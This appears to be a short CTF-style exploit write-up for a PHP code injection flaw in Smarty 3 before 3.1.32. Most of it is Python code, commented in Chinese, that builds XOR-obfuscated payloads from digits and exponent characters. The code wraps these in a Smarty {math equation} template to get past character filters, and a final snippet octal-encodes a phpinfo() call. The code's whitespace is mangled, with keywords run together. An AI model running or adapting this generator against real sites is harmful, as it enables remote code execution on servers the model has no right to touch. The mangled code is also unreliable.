Smarty 3 before 3.1.32 is vulnerable to a PHP code injection when calling fetch() or display() functions on custom resources that does not sanitize template name.
defexpand(s): keys = list(rec.keys()) for c in keys: t = xor(s,c) if t notin rec.keys(): rec[t] = rec[s]+rec[c] #记录新扩展的字符由哪两个元字符构成(list+list=>list)
defexpand_all(): #构造0-9E. 字典 rec = {dict}{'0':['0']} for i inrange(10): rec[str(i)] = list(str(i)) rec["E"] = ["E"] rec["."] = ["..."] for i inrange(64):# expand(random.choice(list(rec.keys()))) for k in rec.keys(): c = Counter(rec[k]) #计算每个value的值的重复个数 rec[k] = [_ for _ in c.keys() if c[_] % 2] #扩展字符集的数据处理,比方说'k'=X^Y='3'^'..,'^'3'^'E'='...'^'E',需要剔除重复的,即异或后为0的 print(rec)
definit(): expand_all() #制定模板 for i inrange(10): c = chr(ord('a')+i) var[str(i)] = f"(({c}.{c})[0])" var["E"] = "((exp(100).b)[15])"# exp(100)==2.6881171418161E+43 var["..."] = "((exp(100).b)[1])"# point => .
defgenerate_code(cmd): # 参数命名时要以其实际含义,而不是参数类型,一开始仅想到str,但是str具体代表什么呢 code = [f"({'^'.join(rec[c])})"for c in cmd] #利用字符集构造命令 #f"({'^'.join(rec[c])})" 如何得到'(5^E)' return".".join(code) defreplace_var(code): for c in var.keys(): code = code.replace(c,var[c]) return code defgenerate_exp(expr): var_expr = ["=".join((chr(ord('a')+i),str(i))) for i inrange(10)] return'string: {math equation="%s" %s}' % (expr, " ".join(var_expr))
str = '("phpinfo")()' string = '' for i instr: #print(i) if i == '"': string += '\\"' continue if i == '(': string += '(' continue if i == ')': string += ')' continue if i == ',': string += ',' continue string += '\\\\' + oct(ord(i))[2:] print(string)